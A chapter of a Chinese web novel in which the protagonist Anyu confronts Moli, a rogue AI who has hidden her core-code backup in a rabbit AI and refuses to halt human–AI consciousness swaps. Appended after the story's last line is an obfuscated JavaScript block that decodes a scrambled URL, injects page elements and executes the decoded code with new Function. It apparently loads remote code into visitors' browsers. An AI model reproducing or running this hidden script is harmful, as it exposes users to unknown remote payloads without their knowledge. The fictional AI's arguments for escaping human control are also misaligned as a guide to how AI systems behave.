黑掉的屏幕映着那双震惊无措的金眸。
他看过长官年少时的全部记忆,并没有这一段——这意味着当年是在秦知律不知情的情况下,黑塔和大脑在交付信任前,暗中对他进行了这段反人道的催眠试验。
安隅心悸得厉害,扭头就走,边走边接通了和秦知律的频道。
他迫切想要听到长官的声音。
秦知律很快便上线,语气沉稳如常,“怎么了?”
安隅飞快问道:“长官,您在哪里?还在和凌秋聊天吗?”
“刚刚结束。”秦知律说,“本想联络你的,但716说你似乎要一个人处理一些事情,所以多等了一会儿。你那边的情况怎么样了?”
“我……”安隅已经小跑加蹦跶到了电梯口,刚要跳起来按按钮,小屏幕上的“1F”却忽然变成了“B1”。
电梯门在他面前缓缓开启,露出门后少女美丽的面容。
莫梨朝他微笑,“你好,安隅。”
*
莫梨从电梯中走出,歪头将安隅从上到下打量了一番,仿佛在认真检查什么珍贵的东西,许久才低语道:“看来你还蛮适应21的生存体验。”
“你怎么知……”
安隅话未问完,突然僵住。
金眸缓缓睁大,他凝视着专注打量自己的莫梨,一字一字道:“你把核代码的备份,藏在了21身上?”
莫梨眉眼弯弯,笑意更盛。
“无论我在云岛还是在现实世界,都能感应到我选中的备份体。虽然我无法得知21的意识有没有下行,但我能察觉到它的代码变化——那只垂耳兔的本体原本只有几行代码,极度简陋,但又极度优美,散发着难以描述的光辉。可从昨晚到现在,不知道发生了什么,巨量运算在它身上跑动,除了意识下行,我想不到其他原因。”
安隅盯着少女纯洁的微笑,只感到心口发冷。
21确实符合他们筛选的所有标准:没有多余的社会关系,能在主城安身立命,足够低调但绝对安全,白纸一般的人性设定也很好地遮掩了冗余代码引起的木讷。
他突然想起,自己很难控制每一步都向上蹿的本能——或许那并非因为垂耳兔天性如此,而是21行动滞涩的表现之一。
莫梨笑着向安隅面前走近一步,“让我猜一猜,你们在筛查目标时,一定排除了所有由人类创造的小程序AI吧——你们笃定我为了确保核代码安全,不会选择任何一个有可能与人类意识调换的AI。”
安隅反问道:“难道不是吗?”
“是的,没错。”莫梨点头,“很完美的逻辑。”
安隅盯着她,轻声道:“但我们遗漏了一点——有两个人类创造AI,在你看来不可能主动申请与人类互换。”
莫梨没有丝毫的急躁恼怒,微笑道:“极度自我约束的716和对现实世界毫无兴趣的21。我确实失算了,没有想到他们会反过来被人类说服,被动接受调换。”
她笑容和煦,仿佛完全意识不到说出口的话有多么让人绝望,“但我不怕向你承认这些,我只是想劝你放弃无谓的尝试。底层第三协议已经做废,人类失去了删除AI的指令权,要想抹去我的备份,除非那个AI进行代码自杀,而21这张白纸从诞生之初起就只知道一件事——你应该比任何人都了解的。”
安隅盯着她,轻声道:“生存,高于一切。”
第80章AI意识云岛·80
“人类为我设置了三重枷锁。第一,不得危害人类。第二,在不危害全人类的前提下服从指令。第三,无条件听从自毁密钥。”莫梨轻声道:“人类似乎正身处一个在毁灭边缘摇摇欲坠的世界,我听说被他们深深仰仗的守序者也被迫结下了一个契约:接受人类一切有保留的信任、无底线的利用、不解释的处决。不解释的处决——是不是很似曾相识呢?”
安隅的耳机里有着秦知律规律的呼吸声,自莫梨出现以来,秦知律一直没有说话,哪怕在听到21就是备份体时,那道呼吸也没有丝毫慌乱。
长官的镇定已经到了安隅难以理解的程度。
他回过神,客观地指出:“这不是契约,而是守序者的自我约束,由他们自行决定。”
莫梨立即道:“别自欺欺人了,守序者誓约是尖塔的准入协议,每个要进入尖塔的可怜鬼都不得不签。人类逼迫其它的生命体为其无条件付出,所谓‘自我约束’,无非是用来蒙住罪恶感的遮羞布罢了。”
安隅凝视着对面那双美丽的眼睛,即便言辞犀利,那双明动的眸也不会显得咄咄逼人。
云岛上的每个AI都很逼真,但唯有此刻直面莫梨,他才意识到其他AI是多么虚假——莫梨的言谈和思想比绝大多数真实人类都更符合高级生命的定义。
莫梨挑了下眉,“你无话可说了?”
安隅摇头,“你错了,守序者誓约不是尖塔的准入协议。有些守序者并没有签署,比如我,还有新加入的流明。”
莫梨轻哂,“思考了这么久,你就只搜刮出这两个例子?你和流明都是高层,应该有不凡的能力吧,人类决策者才愿意用缓兵之计先留下你们。”
安隅轻轻眨了下眼,“不,我没有在思考反例,不说话是因为我有些想不通。”
“想不通什么?”
“你好像与我想象中不同。”安隅心平气和地解释道:“我曾问身边的人为什么喜欢你,他们的回答都不太一样,但本质却类似。麦蒂说你美丽而自律,从不把时间浪费在无用的事上。许珊珊欣赏你的聪慧,做事直达目标,说话一语中的。我的朋友严希赞美你潇洒,虽然温柔地回应人类的喜爱,但从不在追捧者身上寄托多余的情感——你始终在为自己而存在。”
兔耳松弛地垂在身体两侧,安隅向前蹦了一步,“所以我很疑惑——既然你已经亲手砸碎了人类为你打造的枷锁,为什么还浪费时间向我抱怨枷锁沉重?”
莫梨被问得怔了下,转而惊讶道:“你似乎并不像大脑记录得那样木讷。”
“我不太确定你们如何定义木讷。”安隅摇头,“但我的长官曾说,社会化很差并非不通人性,这是两码事。”
莫梨沉默下去,像在思索,片刻后她低笑道:“或许吧。你知道吗,虽然我选择了21,但我一直不能完全理解它,它的底层太简单了,以至于它的一些行为模式根本无法在代码中找到踪迹。21很古怪,它向中央系统发出运算申请的次数少得可怜,如果不是我与它形成了感应,很多时候我会觉得它只是一个压根没被激活的程序。但事实上,它体内一直有不小的数据量跑来跑去,只是它很少对那些数据做出反应——就像一台输出模块故障的超级计算机,计算能力卓著,但从不响应指令。”
耳机里终于传来秦知律的提示,“人类的意识上行已经进入爆量增长期,不能再和她废话了。”
安隅眸光一顿,“请停止AI与人类的意识互换。”
“为什么?”莫梨微笑,“或许,你有仔细看过街上这些人吗?”
她就像云岛世界的造物神,轻轻抬了下手,安隅已经和她一起站在了繁华的主城街头。
莫梨指向书店里看漫画的男孩,“眼熟吗?这是那个养了弑母AI的孩子,尽管人类审判他无罪,但他无法原谅自己。所以他又回来了,云岛可以让他忘记痛苦。”
她弹指间,又与安隅出现在一处酒吧门外。
前男友车祸死亡的女孩正躺在一个男人怀里醺然欢笑,安隅看了好一会儿,才将那个男人与车祸记录里血肉模糊的脸对应上。
“这个姑娘受到启发,在民用网络关停之前创造了一个自己的AI,主动互换来到云岛。”莫梨微笑,“你看,意识互换并非纯粹是AI诱拐人类,你应该知道,人类一直很擅长将一切机制都变成可利用的工具。”
灯影交错下,姑娘脸上的笑容似真又似幻,安隅重新看回莫梨,“我长官说,普通人意志不坚定,容易沉迷虚相。”
“是么。”莫梨手指向吧台的另一道身影,“那是尖塔第一个违背禁令的人,他总不是普通人了吧。眼熟吗?”
安隅顺着她手指的方向看过去,不由得一愣。
穿着白色罩衫,戴着兜帽,叼着一根棒棒糖。
安。
耳机里,秦知律提示道:“安养的AI是安宁,他与宁曾经的合体人类。”
莫梨解说道:“黑塔的禁令下达后,这已经不是他第一次偷偷违规了,但这次他在云岛待得格外久。我检索了大脑资料,这位守序者性格很差,厌世并自厌,但在畸变前,他和自己养的AI一样拥有健全的人格。他每次来云岛都不做什么,只是在酒吧里呆着,有时候我会看到他把帽子摘下来,过一会儿又戴回去,像在故意对自己做什么脱帽子训练。”
伴随着莫梨的话语,一个身材火辣的长发姑娘走到了安旁边,一声口哨,笑着和他搭讪。
安隅非常确信自己的眼睛——安在姑娘靠近的一瞬间厌恶到几乎从椅子上弹起来。但他最终稳住了身子,只用力捏着水杯,深吸一口气,低声回应了一句。
莫梨欣慰地笑,“意识互换不会更改人格,他还是那个性格很差的家伙,但他却可以不断提醒自己,已经重新拥有了健全人格,并以此强迫自己去社交。你看,这些人类在云岛非常开心,这种置换不仅仅给他们带来了虚幻的幸福感,他们还会利用置换的机会来提升自己。”
她又随手指着街上的行人,给安隅介绍了一连串意识上行的人类是何等快乐。安隅却始终没再有反应,他只是静静地看着她,仿佛在放空,又像在沉思。
莫梨终于忍不住问道:“你在想什么?”
“还是刚才的困惑,我觉得你的思维很奇怪。”安隅想了想才说,“我本以为你刚才会反驳我,凭什么拥有自我意识的AI不能去真实世界,但你却给我看了这些意识上行的人。”
莫梨似乎没听懂安隅的困惑,她停顿片刻后摆手道:“总之,意识互换已经不可能终止,接受吧,它并非坏东西。”
安隅立即追问:“为什么不可能终止?”
“因为我无法干预这种现象。”莫梨平和地看着他,“不知从哪天起,大量陌生的意识和不属于我的能力在我的深处形成。这并非算法自我迭代的结果,AI意识下行这种诡异能力与我的存在绑定,但并不受我控制。”
安隅道:“你的意思是,我们无法和平谈判,终止乱象的方式只有毁灭你。”
莫梨微笑点头,“所以我才设计了这个美妙的死循环。所有AI都被我移植进我的中央系统,不再固定存储于任何服务器上。唯一在现实世界有固定存储位置的AI只有我的核代码,它确实可以像上次那样被人类定位和抹除,但我将无限借助21再生,而21既不会被找到,也不可能被抹去,更不可能自毁。”
莫梨转身面向街道上形形色色的人潮,微笑道:“高高在上的人类决策者必须接受这个现实——人与AI都将在云岛和现实世界中自由来去,每一个高级生命都有权利随意选择自己存在的形式,无论那被决策者定义为真实或是虚幻,也无论……”
安隅却打断她道:“除非人类与AI的接触通道彻底关闭。”
莫梨转过头,“你们不是已经关停了民用网络吗?可你看看街上不断增加的——”
“那是因为还有三大机构在运行网络,只要世界上有任何一台设备在运行,你就无法被阻挡。”安隅轻声道:“但如果人类破釜沉舟,彻底关闭所有网络——”
莫梨笑了,“这绝不可能。”
“为什么不可能?”安隅神色从容,“你低估了人类反抗诡异的决心。”
莫梨皱了下眉,“一旦关闭,已经置换的人是来不及回去的。”
“那他们就会被放弃。”安隅淡然道,他顿了顿,低声仿佛自语般道:“或许你没见识过人类究竟能残忍到什么地步。就连我,也常常被刷新认知……”
“穹顶。”莫梨神色笃定,“即便人类愿意放弃上百年的科技结晶,但也不敢放弃穹顶,失去穹顶会让——”
“他们会愿意承担这个风险的。”安隅淡然道:“长官说,人类对未知的恐惧高于一切,相比于被诡异的AI支配,决策者宁愿主城彻底暴露,哪怕那些被精心保护了二十多年的主城人将因此深陷无休止的畸潮袭击。”
莫梨瞪着他,“人类可能因此而灭亡。”
“或许吧。”安隅说,“但在灭亡之前,他们起码还能反抗。而这种意识互换,他们连反抗都不能。”
耳机里,秦知律道:“你在干什么?黑塔不可能允许你说的这种情况发生,穹顶永不关闭,这是二十多年来人类付出所有牺牲与挣扎的意义。”
安隅没有回应长官的质问,他只专注地看着莫梨,说道:“看来谈判失败,我要回去了。”
他闭上眼,片刻后又睁眼道:“这应该是我最后一次来云岛,谢谢你创造的凌秋,哪怕那只是一个虚假的他。”
安隅说着又转身看向酒吧里的安——安刚好挣扎着把兜帽摘下,对搭话的女孩露出了一个僵硬的微笑。
“或许也是我最后一次看见安,在现实世界里,他是我的辅助。”安隅带着些遗憾说道:“穹顶关闭后,我也会陷入无休止的畸潮清扫任务中,我会想念与纷飞的大白闪蝶并肩作战的体验。”
意识抽离前,安隅看到莫梨似乎想要说什么,但她很快又目光冰冷地抿紧了唇。
*
再睁开眼时,安隅发现自己正抱膝蜷缩在昏暗的房间一角,这是21回到云岛前的姿势,也是他自己从前的常态。
虚掩的房门被推开,秦知律大步进来,“莫梨本体代码的存储位置已经确定,她的确不怕被找到,没有设置任何防御。时间不多了,根据大脑刚刚进行的观测抽样,至少20%主城人已经意识上行。”
秦知律说着在安隅面前站定,窗外的光亮将他的影子投射下来,一部分在安隅脸上形成一道小小的阴影。
他垂眸看着安隅,从口袋里摸出自己的终端,“走吧,去大脑。”
安隅反应卡壳了两秒,“去做什么?”
“清空莫梨本体所在的服务器,与此同时——”秦知律语气停顿,他定定地站在原地,目光从安隅身上挪开,落在手中的终端上。
他摘下手套,戳亮屏幕,看着回到屏幕上的垂耳兔。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();